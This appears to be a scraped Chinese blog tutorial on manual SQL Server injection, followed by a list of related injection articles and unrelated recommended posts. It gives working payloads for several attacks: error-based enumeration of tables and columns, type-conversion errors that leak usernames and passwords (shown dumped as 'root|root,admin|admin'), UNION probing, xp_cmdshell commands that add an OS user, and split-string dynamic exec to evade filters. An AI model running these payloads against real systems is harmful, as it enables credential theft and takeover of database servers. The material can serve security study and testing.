1.利用错误消息提取信息

1.1 枚举当前表与列

select * from users where username='root' and password='root' having 1=1--'
抛出错误:选择列表中的列 'users.id' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

  发现表名为 'users',存在列名为 'id'

select * from users where username='root' and password='root' group by users.id having 1=1--'
抛出错误:选择列表中的列 'users.username' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

  可以利用having子句继续递归查询(如:select * from users where username='root' and password='root' group by users.id,users.username having 1=1--' )

原理:凡是在group by后面出现的字段,必须同时在select后面出现;凡是在select后面出现的、同时未在聚合函数中出现的字段,必须同时出现在group by后面。

   在 SQL 中增加 HAVING 子句原因是,WHERE 关键字无法与合计函数一起使用。

1.2 利用数据类型错误提取数据

原理:试图将一个字符串与非字符串基本,或将一个字符串转换为另一个不兼容的类型时,那么SQL编辑器会抛出异常。

select * from users where username='root' and password='root' and 1> (select top 1 username from users)
错误提示:在将 varchar 值 'root' 转换成数据类型 int时失败。

  利用此方法可以递归推导出所有账户信息:

select * from users where username='root' and password='root' and 1> (select top 1 username from users where username not in ('root'))

  不嵌入子查询:常用内置函数(conver或者case函数:将一种数据类型转换为另一种数据类型)

select * from users where username='root' and password='root' and 1=conver(int,(select top 1 username from users))

  也可以通过使用FOR XML PATH 语句将查询的数据生成XML,SQL语句如下:

select * from users where username='root' and password='root' and 1=conver(int,(select stuff((select ','+users.username, '|'+users.password from users for xml path('')),1,1,'')))
错误提示:在将nvarchar值 'root|root,admin|admin,xxser|xxser' 转换成数据类型int时失败

2.获取元数据

SQL Server 常用视图

视    图 说    明
sys.databases SQL Server 中所有数据库
sys.sql_logins SQL Server 中所有登录名
information_schema.tables 当前用户数据库中的表
information_schema.columns 当前用户数据库中的列
sys.all_columns 用户定义对象和系统对象的所有列的联合
sys.database_principals 数据库中每个权限或列异常权限
sys.database_files 存储在数据库中的数据库文件
sysobjects 数据库中创建的每个对象(例如约束、日志以及存储过程)

3. Order by 子句

  常用来判断表的列数

4. UNION查询

  Union关键字将两个或更多个查询结果组合为单个结果集,即联合查询,基本规则:

  • 所有查询中的列数必须相同
  • 数据类型必须兼容

4.1 联合查询探测字段数

  使用order by子句或者该联合查询语句 得到users表的字段数:

select * from users where id = 1 union select null,null...

4.2 联合查询敏感信息

id=5 union select 'x',null,null,null from sysobject where xtype='U'

  语句执行正常代表数据类型兼容,就可以将x换位SQL语句(如利用视图查询)

  (xtype='U' 查询类型为表,用户定义类型)

5. 常用的函数

函    数 说    明
stuff 字符串截取函数
ascii 取ASCII码
char 根据ASCII码取字符
getdate 返回日期
count 返回组中的总条数
cast 将一种数据类型的表达式显式转换为另一种数据类型的表达式
rand 返回随机值
is_srvrolemember 指示SQL Server登录名是否为指定服务器角色的成员

6. 危险的存储过程

  直接利用CMD创建新用户(要有CONTROL SERVER权限)

select * from table where id=1; exec xp_cmdshell 'net user test test /add'

7. 动态执行

  SQL Server 支持动态执行语句,用户可以提交一个字符串来执行SQL语句,例如:

exec('selec'+'t' username,password fro'+'m users')

  也可以通过定义十六进制的SQL语句,使用exec函数执行。绕过单引号过滤。

SQL Server注入的更多相关文章

  1. Sql server注入一些tips

    sql server环境测试: 几个特性: 1.sql server兼容性可以说是最差的. 举例: select x from y where id=1 字符串查询 select x from y w ...

  2. Sql server注入简单认识

    登录界面常常会涉及到敏感关键字的注入 为了对应面试,再看一下 怎样防止注入, 可以过滤SQL需要参数中的敏感字符(忽略大小写) public static string Split(string in ...

  3. SQL server 注入 和 SQL server 扩展(10.29 第二十九天)

    Step1:检测注入点 Step2: select * from sysobjects   (sysobjects 系统对象表,保存当前数据库的对象) select * from users wher ...

  4. Sql server之sql注入篇

    SQL Injection 关于sql注入的危害在这里就不多做介绍了,相信大家也知道其中的厉害关系.这里有一些sql注入的事件大家感兴趣可以看一下 防范sql注入的方法无非有以下几种: 1.使用类型安 ...

  5. sql server手工注入

    sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...

  6. SQL Server的WAITFOR DELAY注入

    SQL Server的WAITFOR DELAY注入   WAITFOR是SQL Server中Transact-SQL提供的一个流程控制语句.它的作用就是等待特定时间,然后继续执行后续的语句.它包含 ...

  7. Webservice WCF WebApi 前端数据可视化 前端数据可视化 C# asp.net PhoneGap html5 C# Where 网站分布式开发简介 EntityFramework Core依赖注入上下文方式不同造成内存泄漏了解一下? SQL Server之深入理解STUFF 你必须知道的EntityFramework 6.x和EntityFramework Cor

    Webservice WCF WebApi   注明:改编加组合 在.net平台下,有大量的技术让你创建一个HTTP服务,像Web Service,WCF,现在又出了Web API.在.net平台下, ...

  8. 手工注入——sql server (mssql)注入实战和分析

    前言 首先要对sql server进行初步的了解.常用的全部变量@@version:返回当前的Sql server安装的版本.处理器体系结构.生成日期和操作系统.@@servername:放回运行Sq ...

  9. 实战记录之SQL server报错手工注入

    前言 最近测试了一个站点,这个站点挺有意思,发现没有关闭错误提示,初步猜测是SQL server数据库,后来验证确实是.在这里记录一下实战过程,并详细讲解一下用到的知识点. SQL server报错注 ...

随机推荐

  1. Android:修改连接到AP端显示的设备名

    一.Android系统代码中实现设备名分配 1. \frameworks\base\services\core\java\com\android\server\ConnectivityService. ...

  2. JavaScript箭头函数(Lambda表达式)

    箭头函数也叫lambda表达式 据说其主要意图是定义轻量级的内联回调函数 栗有: 1 var arr = ["wei","ze","yang" ...

  3. Row_Number() and Rank() in SQL

    1. 数据表实例数据 2. 使用Row_Number()方法给每一行数据添加一个唯一编号, 可以按照某一列进行排序. 3. 使用Partition by Column在一个Partition内进行编号 ...

  4. ISO/IEC 9899:2011 条款6.4.8——预处理数字

    6.4.8 预处理数字 语法 1.pp-number: digit .    digit pp-number    digit pp-number    identifier-nondigit pp- ...

  5. 阶段5 3.微服务项目【学成在线】_day18 用户授权_18-微服务之间认证-需求分析

    4.1 需求分析 前边章节已经实现了用户携带身份令牌和JWT令牌访问微服务,微服务获取jwt并完成授权. 当微服务访问微服务,此时如果没有携带JWT则微服务会在授权时报错. 测试课程预览: 1.将课程 ...

  6. 阶段5 3.微服务项目【学成在线】_day18 用户授权_14-细粒度授权-我的课程细粒度授权-需求分析

    3.3 我的课程细粒度授权 3.3.1 需求分析 1.我的课程查询,细粒度授权过程如下: 1)获取当前登录的用户Id 2)得到用户所属教育机构的Id 3)查询该教学机构下的课程信息 最终实现了用户只允 ...

  7. python 中 dict 的另一种用法

    python 中 dic另一种用法 描述 Python 字典(Dictionary) get() 函数返回指定键的值,如果值不在字典中返回默认值. 语法 dict={} dict.get(k1,Non ...

  8. MySQL 5.7 源码中的目录结构

    MySQl Server的源码可以直接去Github浏览. 这里我们选择5.7版本的:https://github.com/mysql/mysql-server/tree/5.7 也可以通过: git ...

  9. 【c# 学习笔记】类与结构体的区别

    由于类与结构体在语法和使用上都非常类似,导致我们这些初学者容易混淆.为更好理解,特做以下区分记录: ① 语法上的区别在于,定义类要使用关键词class,而定义结构体则使用关键词struct. ② 结构 ...

  10. 【c# 学习笔记】构造函数

    构造函数 主要用于创建类的实例对象.当调用构造函数创建一个对象时,构造函数会为对象分配内存空间,并初始化类的成员.构造函数分为实例构造函数和静态构造函数两种. 1.实例构造函数 实例构造函数用于创建和 ...